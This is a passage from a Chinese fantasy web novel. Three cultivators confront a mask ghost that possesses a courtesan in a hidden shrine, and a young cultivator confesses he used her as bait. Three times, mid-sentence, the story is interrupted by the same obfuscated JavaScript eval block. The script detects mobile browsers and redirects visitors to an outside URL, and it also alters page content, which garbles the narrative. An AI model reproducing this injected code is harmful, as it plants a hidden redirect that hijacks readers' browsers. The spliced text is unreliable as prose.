裴惊澜不言不语,冷眼旁观了一条鲜活的生命就此逝去的过程,甚至没有因为这一句诅咒生出任何情绪波动,他的思绪一刻不停,思考着幕后之人可能去的地方。 忽然,身旁掠过一抹白色身影,裴惊澜的注意力被瞬间拉回,他眼疾手快地甩出一道定位咒。 离玟羽知道自己被人盯上了,他加快速度,灵气源源不断地从心口溢出,将他全身都包裹住,整个人迅速向前挪去,他知道现在事情已经失控了。 从那个本来不在计划中的女人当众行凶开始,整个事情都脱离计划了。 他必须找到烟姝,或者说——那个鬼修。 可是应该去哪里找? 离玟羽不知道,他什么都不知道,但是他必须这么做,他也坚信自己能够做到,必须做到。 一楼、二楼…… 他飞速掠过几个知道烟姝一定会去的地方,但都没见到人影,最后他停在了一堵不引人注意的墙前,他站着看了片刻,抬起手。 “离玟羽。” 终于追上他的裴惊澜出了声。 离玟羽的手摸上了墙,他低下头,说:“对不起。” “你没有对不起我。” 离玟羽沉默了,裴惊澜问:“你怎么认识他的?” 这次离玟羽开口了,他说:“我不认识他。” 他的手摸到了一处暗纹,用了些劲按上去,厚重的墙发出一声巨响,紧接着慢慢打开,露出里头一条漆黑的小道。 “我只是想找到他。”离玟羽头也不回地扔下一句,走进了那条漆黑的小道。 裴惊澜无声地跟了上去,在他踏进小道后,身后的墙又慢慢合上了,视野再次陷入黑暗。 离玟羽很沉默,连气息也不杳不可闻。 等了很久,他才终于按捺不住说:“我不知道你是什么人,但你既然知道空舟门,怎么会不知道五十年前的那桩惨案呢?” “五十年前的七月十五,就像今天晚上一样,月亮特别圆。” “那天晚上,傩面鬼潜入空舟门,杀了我的父兄,屠了我的师门。”离玟羽从锦囊中取出一张纸符,用术法点燃。 “你问我为什么不告诉我的师长,”离玟羽顿了顿,继续说,“是因为我从那天起就没有亲人了。” 符纸上跳动着火焰,黑暗中一片寂静。 裴惊澜说:“抱歉。” 离玟羽笑了一声,满不在意:“反正我会亲手报仇的。” 甬道很短,几句话之间就走到了尽头。 离玟羽手中符纸飞出,火焰霎时扩大,他口中念了一句什么,整个空间顿时有了光亮。 火光幽微,不知何处传来丝丝凉意,裴惊澜隐约闻到一股香火味,他抬起头,才发现面前立着一尊巨大的神像。 神像的眼皮半垂着,怜爱地看着来祭拜的信徒。 裴惊澜后背发凉,骤然发问:“你们到底准备做什么?” 8. 后手 神像慈悲,一如仙人待世人,总是悲悯而宽怀的。 它端坐在莲花上,一手持着柳枝,一手滞在半空,像是要点化谁。从下往上看却难免觉得有些压迫,这一座神像足有三人高,人站在它身前就像一粒微不足道的尘埃,它就这么悄无声息地坐在喧嚣红尘之下,在黑暗中静静地注视着世人。 裴惊澜走近了些,发现它座下的燃尽的香灰还带着热气,明显是新鲜的。 离玟羽没有回答裴惊澜的问题,他远观着神像,很久才深吸一口气,走上前点燃了一支香,口中念念有词:“神君,请佑我。” 他手中的火焰一闪而过,光从神像下方发散开,裴惊澜看着那神像半晌,终于认出——那是白帝神君的神像。 白帝神君,仙界主宰,掌管着万千生灵,曾与其妻歆姬救人间于水火,是无数凡人和万万修士共同追逐的目标,信徒遍布人间,每一个出生的婴儿都会被抱去帝君神庙,他们的父母亲人都渴望得到神君的庇佑和指引。 裴惊澜淡淡地挪开视线,说:“你知道傩面鬼会出手,也大概清楚他的目的,所以你留下咒术来保护那些可能会死在傩面鬼手下的人,但是你没有想到他还有帮手,他的目标也不仅仅是那些戴着面具的女子,你发现事情失控了,而帮你的人也没了踪迹——” “离玟羽,这就是你想要的结果?” “那你呢?”离玟羽拿着香的手一紧,反唇相讥,“你又是为了什么?” “凭你的身手,你不可能逃不出去,你留在这里又是为了什么?” 离玟羽自嘲道:“我承认我是没脑子,我是莽撞,你现在跟着我没有用,我本来也没有绝对的把握。与其把时间浪费在试探我上,还不如去找刚才跟你一起的那个人,他才是能解决问题的人。” 裴惊澜的心绪短暂地飞远了一下,而后他笃定地说:“你有后手。” “就算是再莽撞的人,也不可能什么后路都不准备,直接来跟一个鬼蜮里头的一方大鬼打交道。” 离玟羽打断他:“那就不能是我不想活了,特意来找死?” “而且你居然不问我为什么知道一只恶鬼居然能从鬼蜮里头出来,你就不怀疑是我做的吗?”离玟羽直视裴惊澜的眼睛。 裴惊澜挑眉补充道:“首先,是你自己说的,你一定会杀了他。” “其次,一两只鬼跑出来是什么新鲜事,以前不也发生过大批恶鬼出逃事件吗。” “再者,有人给我收拾烂摊子,看看也无妨。”裴惊澜笑了,他也想赢那个赌约,既然现在灵力还没恢复,那还不如换个方向入手。 离玟羽闻言,站着没动。 过了片刻,他笑出声:“你和你朋友都挺有意思的。” “以及,鉴于你连空舟门五十年前的惨案都不知道,那我有必要提醒你一句,现在鬼蜮的封印和以前可不一样了,八十二年前,渡雁仙君就已经把鬼蜮流放了。” 离玟羽将手中的香插入香炉中,抬手飞出一道灵力,半空中顿时出现了一道符咒,紧接着只听一声巨响,神像半垂在空中的手竖起食指,凭空点了一下,不待任何人反应过来,下一瞬整个空间登时被一道突如其来的金光吞噬。 “这位小姐,这么匆忙做什么?” 烟姝正找人呢,猎物就自己上门了。她嘴角抬起一抹看不真切的笑,随后迅速抹平,同时回头。 她娇嗔地捂住胸口:“哥哥,你躲在这做什么,叫我白白吓了一跳。” 楚秋辞从拐角的阴影中走出,风度翩翩地说:“那真是我的不对了,为表歉意,可否请姑娘到雅间一叙?” 面对拙劣的搭讪,烟姝并没露出半分不满,她欣然接受:“那便叨扰公子了。”而后便要挽楚秋辞的手,却意料之外地被躲开了。 楚秋辞笑了笑:“是我冲撞姑娘在先,不敢怠慢,这人多眼杂,实在是不太方便。” 说得再冠冕堂皇,底子里都是改不掉的恶习,烟姝这样想着,平和地收回手,掩面笑道:“公子当真是贴心得很。” 红楼里的人依旧没有减少,刚才的闹剧没能吓走太多人,在掌柜出面安抚,说是因为监管不力叫外头的人伪装进来寻仇,现在已经全部处理妥当,并给一楼用餐的所有人餐费减半并额外赠送一些小食后,往外走的人都停住了脚步,骂骂咧咧地说今天来了就算了,以后再不会来红楼吃饭。 绝大部分人都觉得反正自己行为妥当,自然是没什么仇家的,也不怕谁找来寻仇,而这红楼向来吝啬得很,平时少一两钱都不行,这次居然能占到便宜,不占白不占。 烟姝长得漂亮,又没戴木头面具,客人们都以为是哪家的小姐,她一路过来被搭讪了好几次,每个来搭讪的人都没讨着好。 眼下虽说不在什么惹人注意的地方,但背后不知多少双眼睛盯着这,烟姝弯弯眼睛,欠了欠身,说:“那就有劳公子带路了。” 楚秋辞笑而不语,带着烟姝往傍晚定好的包间走去,感觉自己身上快被人盯穿了,他耳朵灵,甚至听到有人眼酸说了句“这么瘦,看着满身是病,也就没见识的女人喜欢那张脸罢了”。 “公子瞧着眼生,没来过红楼吧。”烟姝没话找话道。 “是没来过,不是栖山生人。” “那是有亲人在这边吗,来这里过年?” 楚秋辞闻言,顿时想起了那碗大年初一没有味道的面条,笑着点头:“我兄长在这儿,我来寻他。” 烟姝有心想再从他嘴里套出些什么,还要开口,心口却突然传出一阵刺痛,右手不听使唤地拉住了楚秋辞。 该死! 烟姝在心里骂了一句。 楚秋辞转过头,像是没发现她的异样,温声问:“怎么了?” 烟姝挤出一抹笑,努力装作若无其事的模样:“只是夜里有些冷,公子可以把你的大氅借我披一下么?”说着,她身体轻轻抖了一下,看起来马上就要冻晕过去了。 男人最吃这一套,烟姝已经伸手准备去接衣服了,却见楚秋辞做出一副为难的模样,他往后退了两步,挣脱她的手,紧了紧身上的貂裘:“可是我风寒未好,实在是有些怕冷。” “不过我瞧着楼里热闹,烛火也多,向来也不算太冷,辛苦你再等等,我叫人给你送身衣裳来。” 烟姝的手顿在半空中,伸也不是收也不是,她咬着牙,觉得这个满肚子花花肠子的男人实在是有点难伺候,要不是阵法最后一个角还没布下,她才不会在这里跟这些卑劣的修士虚与委蛇。 心口的刺痛还没消散,细细密密的像针扎在肉上,她努力将右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971485|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手控制住,袖中藏着的刀划开了手臂上的皮肤,烟姝用左手捂着嘴咳嗽两声,说:“公子,我……” 话刚说了一半,她不听使唤的右手倏地握住袖中刀刃,惊人的刺痛感瞬间传来,烟姝没忍住轻哼一声。 “姑娘,真的很冷吗,要不我先送你回房?”楚秋辞隔着衣服扶住她,担心地问。 不行,烟姝忍痛笑了笑,她还要去那个包间布阵呢。 “不碍事的公子,风吹得头有些晕,我们快些吧。” 楚秋辞却不走了,脸上挂满了心疼:“真的没事吗?” 心脏猛地抽搐一下,烟姝脸上的笑比苦瓜还苦:“没事。” 她偷偷运起灵力,将身体的感官全部排除,再次催促楚秋辞:“走吧公子。” “可是,”楚秋辞指了指她的袖口,“你流血了。” 烟姝低头一看,鲜血染尽了袖口,她心头泛起一股怒火,终于演不下去了。她将刀握在手中,突然发难直逼楚秋辞面门,恶狠狠地说:“你玩我呢?” 楚秋辞后撤两步,笑意不减:“姑娘实在是误会在下了,我实在只是担忧姑娘身体而已。” “死修士。”烟姝冷冷吐出一句粗话,懒得和这个老油条说话,她将刀换至左手,身形一晃出现在楚秋辞身后,刀直直往他心脏处插去。 楚秋辞没有用武器,他手腕一翻,转身用两指夹住那把短刀,笑眯眯地说:“我还当掌柜的多大气呢,居然能许出一个承诺做奖励,没承想背后还要搞这些小动作。” 说着,他往烟姝脸上探去,烟姝使了劲也没能将刀拔出,见对方手快摸到自己的脸了,果决放弃武器,松手侧身。 她将一只手背在身后,左手成爪往楚秋辞眼珠抓去,为了不引人注意,两人都没轻易动灵力。 楚秋辞将短刀扔到一边,右手手臂挡开烟姝的攻击,脚尖点地,轻盈转过身,同时弯腰闪过,而后左手成刀状往烟姝脖子上砍去。 被烟姝反应极快地躲过,可下一瞬烟姝忽然失了重心跪倒在地,嘴唇泛白,手止不住地抽搐。 楚秋辞一时没来得及有什么动作,就听烟姝嘴里骂了句:“该死的妓女。” 随后她撑着手起身,强忍不适飞速往楼下掠去,楚秋辞紧随其后。 “这是……什么?” 裴惊澜诧异地看着面前出现的东西,竟不知该用什么词语去形容自己的所见。 只见白底神君的神像从中间裂开,露出其中密密麻麻的红线,红线有些是缠绕在一起的,有一些是分开的,但每一根红线的末端都系着在石子上,石子在神像内部随意分布着,它们互相牵引,像极了石像的血管。 而在神像左边心口的部分,有一块金光闪闪的巨石,形如心脏,此刻正发着诡异的红光,一闪一闪,恰巧每根红线都在此处交汇,像极了活人心脏跳动时迸发的血液。 离玟羽近乎沉迷地注视着这个面带笑容的神像,他闪身上去,定在半空,贪恋地抚过神像的手,他近乎虔诚地弯下腰:“帝君大人,此番实在是不得已为之,实在抱歉,希望您能大人大量宽恕信徒。” 说着,他伸出手就要碰上那颗金色的心脏,却听身后传来一声急促的喊声:“小心!” 与此同时,一柄刀直逼他咽喉而来。 9. 蛊惑 离玟羽来不及避闪,眼见那刀就要送入他的身体,他却忽然被一股从别处而来的力量拽开,离玟羽失了重心滚落在一边,与他一同掉下的还有偷袭不成的烟姝。 楚秋辞手中握着一条来时路上顺的普通长棍,他手持长棍负在身后,貂裘不知何时已经被解下,此刻站在离神像一丈远的地方,神情淡漠地看着地上捂着伤口狼狈咳嗽的烟姝,身后是满墙成片的烛火,一直延伸到密室顶端,也给他的身影描了个黯淡的边。 “偷袭算什么本事,”楚秋辞长棍一甩,杵在地上,在烟姝身前蹲下,“我猜猜,你找我是因为你的计划里需要我,或许是那个包间?” “你有红楼花魁的身份,混进去应该不成难事,但是你就是要跟着我过去,为什么?” “花魁?”离玟羽猛地抬头,紧接着转头看向烟姝,“你是烟姝?” 楚秋辞的目光在两人中转过一圈,紧紧盯着烟姝脸上的表情,没管随意插话的李离玟羽继续说:“因为你进不去,有人在包间下了禁制。” “我说得对吧,”他站起身,偏头望向裴惊澜,“裴兄。” 裴惊澜淡然笑道:“对,我走的时候顺手布的。” “裴兄,你当真是人不可貌相呐。”楚秋辞活动了一下手腕,不再看他,转而垂眸看着地上死死盯着他的烟姝,从袖中取出一块木牌,往空中一抛,淡蓝色的灵气顿时倾泻而出,一笔一画缓缓汇成了“烟姝”二字。 烟姝硬撑着起身,那个男人还在她耳边继续推测:“为什么一定要去那里,是因为……乾璇阵?” “我要杀了你。”烟姝闭了闭眼,咬着牙一字一顿道。 空中的蓝色灵气拧成一束,朝她飞袭而来,将她的脸整个包裹住,不由分说地往她皮肤里钻,紧接着烟姝脸上的皮开始剥落,一块一块,最后整张脸都掉得面目全非。 “说起来,还得谢谢给你易容的那个人,他的易容术确实很逼真,但可惜,他没有你这样的禁制来保证他不露出破绽,不幸被我看出了破绽,才让我有了这么一个小小的灵感。” “真是聪明——”烟姝低着头,嘴角慢慢扬起。 原本漂亮的皮囊脱落后露出里面恐怖恶心的真相,烟姝脸上满是褶皱,右半张脸是被烧焦的灰黑色,两只眼睛很大,空洞地装在枯萎的面容上,眼珠漆黑,像是从炼狱中爬出来的恶鬼。 她的右手还在蠢蠢欲动,烟姝以灵气为刀,毫不留情地挥手斩去了自己的右胳膊,手落在地上,血溅了神像一身。 “不过你可能有点误解。”她嘴中溢出鲜血,抬起头,往楚秋辞身后看去,用轻柔温和的声音缓缓说道,“那边那个小公子,应当是不认识我的。” “不,我认识你。”离玟羽踉跄起身,“我知道你不是烟姝,傩面鬼。” 话音刚落,“烟姝”嗤笑出声,忽而歪歪头又反悔道:“什么傩面鬼,离公子,我就是烟姝啊,你的小姝姐姐啊。” “你同我说好的,此事一了就带我走的。”“烟姝”失血过多,又没了右臂,每走一步都艰难至极,但是她还是一步一步坚定地朝他走去,“你说让我帮你这一次,现在我受伤了,你还会兑现诺言吗?” 离玟羽皱了皱眉,下意识朝她走了两步:“不,你分明……” 一根长棍挡在他身前,楚秋辞提醒道:“你可知什么东西最会蛊惑人心?” 离玟羽迟疑了一下,到底还是没有再往前走,看着“烟姝”的眼神满是不信任。 “多管闲事。”“烟姝”登时冷了脸,停住脚步,向他身后看了一眼,“还是管好你自己吧。” “只可惜这个女人身体里没有灵力,只能渡用自己的。”“烟姝”自言自语般说了一句。 楚秋辞一瞬间意识到不对,猛地转头,只见裴惊澜不知何时站在了他身后不足一臂的地方,手里紧紧握着那把原本在他身上的刀,目光呆滞,表情有些凶狠,似乎在挣扎。 “知道什么东西最会蛊惑人心吗?”“烟姝”笑着将原话奉回。 她站直了身子,大笑道:“是人心啊。” 子时将至,乾璇阵还剩最后一点没有完成。 不过没关系,最后一点用人祭补上也可以,刚好这里就有个不听话的妓女。 只要这个阵法彻底完成,那么谁也无法逆转,届时这里就将是一个被彻底隔绝的死地,每一个活人都将为了他的成圣而痛苦地死去,他会铭记他们的。 “烟姝”后退一步,仅剩的左手迅速结阵,她的脸在短时间内快速涨红,唇色愈加苍白,身体里有灵气源源不断地溢出,而肉身在迅速衰败——这特征明显是灵力太多,□□已经到了承受的极限。 然而她还在继续,手速越来越快,发丝乱飞,密室也因为承受过多灵气迅速涌进而开始摇晃,她没有给手臂止血,现在还有血在滴落,她竟然还没因失血过多昏过去,表情反而愈加兴奋,那张面目全非的脸上几乎写着“疯狂”二字。 一旁飞过来一道灵力,却被中途阻拦,离玟羽从怀里掏出更多符咒,一边施咒一边指着她说:“还用空间转移术,你有本事别跑啊!” 楚秋辞还在盯着裴惊澜手里的刀,神情变幻莫测,像是根本没有注意到旁边的变故。 而裴惊澜更是一动不动,额头不断浸出冷汗,整个人就像陷入了恐怖梦魇,逃不掉挣不脱。 整个阵法形成仅用了短短两个呼吸的时间,“烟姝”将最后一道灵力落下,阴恻恻地对离玟羽说道:“不自量力的小鬼,真以为你的咒术能起作用呢,下辈子再好好练练吧!” 而后,“烟姝”手指一抬一落,离玟羽顿时感觉头顶传来一股巨力,压得他喘不过气,五脏六腑都像是要被捏碎,他强撑着没有跪下去,口中吐出一口血。勉强缓过一口气后,他只手竖于胸前,闭上眼,嘴里念起咒语,身后神像的心脏开始发出微弱的金光,与此同时,烟姝开始感觉自己身体里似乎有什么东西破土而出,他蓦地发现这具身体在脱离控制。 转移阵法已经形成,烟姝本就伤痕累累的脸也因为承受过度的灵力而再次裂开,变得鲜血淋漓,但傩面鬼并不在乎,他只需要保证这个身体活着通过空间转移的阵法。 面前这个小修士的修为根本入不了他的眼,若是他的本体在这,仅需一击就能将他毙命,根本没这么麻烦。 “烟姝”转了转手腕,先施法定住魂魄,随即侧身一掌击飞离玟羽。 “不可以,”离玟羽砸在墙上,他咬紧牙关,艰难地说,“你不可以走!” 话毕,无数金光落下,那些金光宛如一道道细线,从上方落下,穿透烟姝的身体,将她牢牢束缚在原地。 傩面鬼愣了愣,终于正视了眼前这个少年:“空舟门的人?居然还没死绝。” 他挪动了一下身体,身体立刻被那些金线割出了血,他歪了歪头,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971486|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你不知道离章是怎么死的吗? 一道暗色红光从傩面鬼身体周围骤然炸开,所有金线顿时断裂,密室塌了一半,刚撑着墙准备站起来的离玟羽呕出一口血,眼睛充斥着血色,他晃了两下,逼着自己站着,耳边是傩面鬼的本音,他用干涩嘶哑的声音说:“当时离章就像你一样用了空欲,那可是满天的金线,他比你使得漂亮多了。然后我呀,稍微放出了一些灵力,你说怎么着,那些线竟然就断了——就像现在一样。” “我觉得断掉的线比原本的还要美上不少,像流星。” 离玟羽再也撑不住,跪倒在地。 傩面鬼不知何时到了他的身前,俯视着他。 那张脸依旧是烟姝的脸,却让离玟羽再也生不出熟悉感。披着烟姝皮囊的恶鬼轻飘飘地说:“被反噬的滋味不好受吧,五脏六腑应该都疼得厉害,越是修为高的人被反噬就越厉害,你说离章那样的高手会是什么样的滋味呢?” 恶鬼的手抬了起来,离玟羽咽下喉中的铁锈味,闭上了眼,心头升起一股无能为力的愤怒和悲凉,同时一种绝望从他脚底蔓延开,他无助地想:对不起,烟姝……对不起,爹,娘……我还是这么失败。 可想象中的疼痛没有如期而来,离玟羽等了许久,四周像是被清扫干净,只留下无边的寂静,他没忍住悄悄睁开了一条缝。 只见烟姝不知何时已经昏倒在地,而楚秋辞捏着一个陌生男人的脖子,手上青筋爆出。 下一瞬,那个矮小瘦弱的男人被甩了出去,重重砸在地上。 离玟羽的心脏近乎停滞了一瞬,蓦地抬起头——能逼出傩面鬼魂魄分/身,还能一击重伤他的人在世上掰着手指都数不出几个,这个男人到底是谁? 只见楚秋辞手中长棍一转,面无表情地说:“你凭什么。” 强大的威压瞬间灌满整个红楼,不同于傩面鬼叫人心头发冷的阴凉,楚秋辞的威压很是平和,却隐隐含着些不容置喙的上位者气息,让人忍不住臣服。 离玟羽在心里飞快盘算着那几位还没飞升的当世大能,却没找到一个疑似是楚秋辞的人,他舔了舔干涩的唇,心里萌生出一种不小心撞破别人秘密就快要被灭口的危机感。 “你也配碰他?”楚秋辞心里的怒火彻底燃起,他将手一抬,就要将手中木棍掷出,手腕却意外地被人温柔地握住了。 他回过头,见裴惊澜一脸疲惫地摇了摇头,随手扔出那把刀,刀刃穿过傩面鬼的脑袋,将他钉在地上。 “我伤到你了吗?”裴惊澜满含歉意地问,握着楚秋辞的手微微颤抖。 楚秋辞默了默,满腔情绪突然落空,隐约从里头琢磨出一点委屈的味道。他将棍子收回背后,说:“没有,你压根没动。” “那就好。”裴惊澜笑了,把手收到袖子里,“一时不慎中了招,可别笑话我。” 楚秋辞不说话了,连一贯对着裴惊澜的伶牙俐齿也没了踪影。 地上的傩面鬼没料到事情有这样走向,他被刀钉着,抬不起来,牙齿都快碰到地上的石子了,他怒不可遏地问:“你们到底是谁?” 回答他的是狠狠的一闷棍。 “关你屁事。”楚秋辞说了句粗话,他走到傩面鬼身前,照着他脑袋又使劲敲了一棍子。 “那个,”离玟羽弱弱的声音响起,他咽了咽口水“要不我们出去再说?” “这地方好像要塌了。” 10. 过去 楚秋辞用看死物的眼神看了眼傩面鬼,似乎是没想到怎么处理他,而后一言不发地走回裴惊澜身边,问:“还能走吗?” 刚从控制中挣脱的裴惊澜身心俱疲,却还挂着笑,点头说:“能走。” 裴惊澜为了证实自己的话还走了两步,但他的手还是被扶住了,裴惊澜怔愣一瞬,不由失笑。 然而谁也没想到,就在裴惊澜转移注意力的一瞬间,傩面鬼突然爆发,一下挣脱了那把刀,他身上灵力暴涨,瞬间消失在众人眼前。 “这刀挺不错,咱们下次再见。” 与此同时密室剧烈摇晃起来,裴惊澜和楚秋辞对视一眼,都没贸然追出去。离玟羽最后看了眼那个眼含笑意俯视众生的石像,狠下心抱着昏迷不醒的烟姝转身离开。 外头子时已至,吵闹的红楼安静了不少,一楼的客人们大多散了,栖山城没有宵禁,但此刻街上的人也寥寥无几。 楚秋辞扶着裴惊澜走出红楼,回头看了眼天上的月亮,伸了个懒腰,不冷不热地说道:“好久没有过这么有意思的上元节了。” 裴惊澜不知从哪儿变出一个巴掌大的兔子灯,递给楚秋辞,他认真道:“抱歉,说好陪你好好过节的。” “丑死了。”楚秋辞走神一瞬,侧头睨了一眼那做工精致的花灯,嫌弃地收下,拿在手里翻来覆去地瞧。 裴惊澜好脾气地笑笑,并不在乎楚秋辞故意的挑刺行为,两人你一言我一语的,就这么聊回了家。 直到进了院子,裴惊澜将院门关上,才对那个一声不吭跟着他们回家的跟屁虫道:“说吧。” 离玟羽将烟姝小心翼翼地放在地上,随即重重跪在地上,朝着楚秋辞的方向磕了一个头:“前辈,求您收我为徒。” 楚秋辞把兔子灯仔细收了起来,旁边走了两步,似是不解:“为什么?” “你身上有什么我能看上的地方吗?你凭什么觉得能当我徒弟。” 楚秋辞掰着手指数离玟羽的“罪状”:“狂妄,自大,做事不顾后果,自以为是,不把别人的命当回事,天大地大就你复仇的事最大,固执,别人说什么都是错的,一意孤行……” “还想听吗?”楚秋辞笑笑,眼神冷得能结冰,“你算什么东西。” 离玟羽红着眼,身上的伤还在流血,他死死捏着手指,却说不出一句反驳的话。 他双手撑地,又磕了几个响头:“我做的错事,我认,我就是不要这条命我也会补救回来,但求您,如果我能挽回做过的错事,求您给我一个机会。” “凭什么?”楚秋辞俯下身,反问道。 “这件事与我何干,我又得不着好处。” 离玟羽额头贴在地面上,深吸一口气,下定决心豁出脸面:“如果您不给我这个机会,我会一直缠着您,直到您答应为止。” 楚秋辞气笑了,他转身往回走:“好啊,如果那时候你能跟得上我。” 裴惊澜对地上跪着的人熟视无睹,跟着楚秋辞进了屋,屋子里很快亮起烛光。 离玟羽始终没有起身,一直维持着磕头的动作,寒风冻骨,他身上的伤口凝固了,冷风顺着他原本单薄的衣裳钻了进去,可他还是一动不动,直到昏迷的烟姝咳嗽了一声,他的思绪才终于回来。 他双腿发麻,内伤外伤严重,他站起来一晃,又跌了下去,只好挪着膝盖走到烟姝旁边,颤着手想去触碰烟姝的脸,可迟疑半晌还是垂下了。 我一定会报仇的,他想,新仇旧恨一起算。 整个院子都在楚秋辞神识探查范围内,他自然知道离玟羽没走,还跪了一个多时辰。 他身上披着裴惊澜新系上的狐裘,手里捧着一碗热汤,身体上舒服了,便主动开口:“裴兄,你瞒我的事情是不是有点多。” “有灵力,会布阵,会使刀,身手也不错,”楚秋辞笑眯眯地看着裴惊澜,“还有别的吗?” 裴惊澜将被褥铺好,又用灵力温了一下垫着的褥子,面不改色道:“没了。” “那你想过之后去哪儿吗?”楚秋辞又问。 这一次裴惊澜站着沉默了好一会,才说:“我家就在这,我能去哪。” 一回首,他才看到楚秋辞走到了他身边,一伸手就能摸到的距离,楚秋辞说话的热气他都能清楚地感知到。 楚秋辞弯着眼睛笑,问:“跟我走好吗,裴兄?” 裴惊澜没有吭声,不动声色地退后两步,拙劣地转移了话题:“他在外头跪着死不了,但是那个烟姝再不处理可能活不了。” 楚秋辞定定地看着他,见他完全没有要回答这个问题的意思,也往后退了一步,笑还挂在脸上,却冷了不少。 “死了又如何,自己要作死。” 裴惊澜往外看了一眼,隔着窗纸看不见外头的样子。 他轻声说:“好歹别死我们这,以后还住人呢。” “你怕吗?”楚秋辞忽然问。 “这有什么可怕的,”裴惊澜摇摇头,“但是我不太喜欢自己住的地方死人。” 到底还是开了门。 裴惊澜拢着衣裳站在门口,对院子里跪着的离玟羽说:“进来吧。” “多谢。”离玟羽的声音微不可闻。 裴惊澜给抱着烟姝的离玟羽让了路,等他一深一浅走进屋子才指了指旁边空着的躺椅,让离玟羽将烟姝放上去。 楚秋辞从头到尾都坐在椅子上没动,也没说话,等着一个解释。 离玟羽接过裴惊澜递来的姜汤,喝了一口,等浑身都暖和了一些才深吸一口气,说:“我认识小姝姐姐其实是个意外。” “甚至来栖山城都只是事发突然——半年前,我在蓟州荛城发现了傩面鬼出手的痕迹,他杀了几个男人,把人做成了肉干傀儡,我顺着他留下的东西一路追踪到了崎州栖山城。” 带着仇恨来栖山的年轻修士起初并不在意这个偏远小城有着怎么样的风土人情,他只想找到仇人,除之而后快。 可一次偶然,他循着仇人的踪迹来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971487|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到红楼,意外结识了这里已经毁容的前代花魁。 从小在父辈庇佑下长大,就算后来师门覆灭也仍然在父亲好友关照下长大的离玟羽身上有着涉世未深的天真,他不知道烟姝在毁容前是怎样的绝世容颜,但是他依然觉得没了漂亮皮囊的烟姝是世上最温柔最漂亮的女人。 女人让他唤她姐姐,他们开始私下往来。 离玟羽从来没有对这个姐姐产生过任何非分之想,也从未做出过任何逾矩的事,甚至单独相处时他们最亲密的接触也只是他给烟姝戴上了他新买的玉簪。 他贪恋和烟姝的相处,久违地在烟姝无微不至的关怀中找到了一点亲人的味道。 小姝姐姐多好啊,会带他去看栖山城最盛大的年会,会给他绣锦囊,会在他想家的时候安慰他,对他说:“没关系,有我在。” …… 小姝姐姐就像是他的亲姐姐,他也早就将小姝姐姐当作唯一的亲人了——所以当小姝姐姐说出想让他娶她的时候,他惊得甚至忘了怎么说话。 她是他的姐姐啊! 烟姝想离开这个困住她的囚笼,烟姝想要一个自由的身份,烟姝想要找到一个不嫌弃她,能够照顾她的人——这些离玟羽都可以做到,但是他唯独不能爱上她。 那天离玟羽落荒而逃,他不知道是不是自己做错了什么,才让烟姝产生了什么误会,他开始减少和烟姝的接触,试图找到一个折中的解决办法。 可烟姝找到他,质问他是不是嫌弃他,是不是也跟那些人一样想抛弃她。 离玟羽斩钉截铁地说不是,烟姝泪眼蒙眬地看着他很久,最后还是说相信他,可离玟羽心头却生出一丝不安。 果然没多久,离玟羽就发现了烟姝的不对劲。 烟姝仍然对他很好,他们的相处依然平和温馨,但烟姝开始频繁消失,身上多处很奇怪的伤口,离玟羽问她怎么回事,她支支吾吾说不出个所以然。 离玟羽不得已开始暗中调查。 但也许当烟姝说出想要他的那一天开始,他们之间就再也不可能回到从前了。离玟羽对这个姐姐的心思也不再淳朴,也许他也开始把她当作了累赘。 后来离玟羽发现烟姝听信了民间假修士的话,想要通过献祭一部分自己来改命。 这种一听就是邪术的东西必定不可能真成,离玟羽最初也是想告诉烟姝这件事的,但是在他去找烟姝之前,栖山城红楼附近的一个孤儿诡异地死在了家中,同时,离玟羽在时隔几个月后再次察觉到了傩面鬼的气息。 那个孤儿曾经也在那个假修士的那里打听了换命一事,当晚他就被恶鬼夺舍,身体被抽干。 离玟羽敏锐地察觉到了背后可能是谁在作祟,于是那天他本该告诉烟姝的话最终还是没能说出口,他没有告诉烟姝这件事可能危及性命,他假装不知道这件事,若无其事地等待着可能发生的事。 他一边在心里痛恨自己,一边任由事情发生,让自己唯一的亲人成为了他钓傩面鬼的诱饵。 11. 真相 “我知道我不应该这样,”离玟羽捂着脸,眼泪顺着指缝滑落,“但是我没办法劝自己放弃这个想法。” “单凭我自己根本找不到他,这是我唯一的机会。” “离小公子,”楚秋辞的手支在桌上,打断他说,“你连找都找不到他,还这么执着地上去送死,怎么,这条命是一定要送给傩面鬼吗。” 楚秋辞笑着问:“你是有多喜欢他啊?” 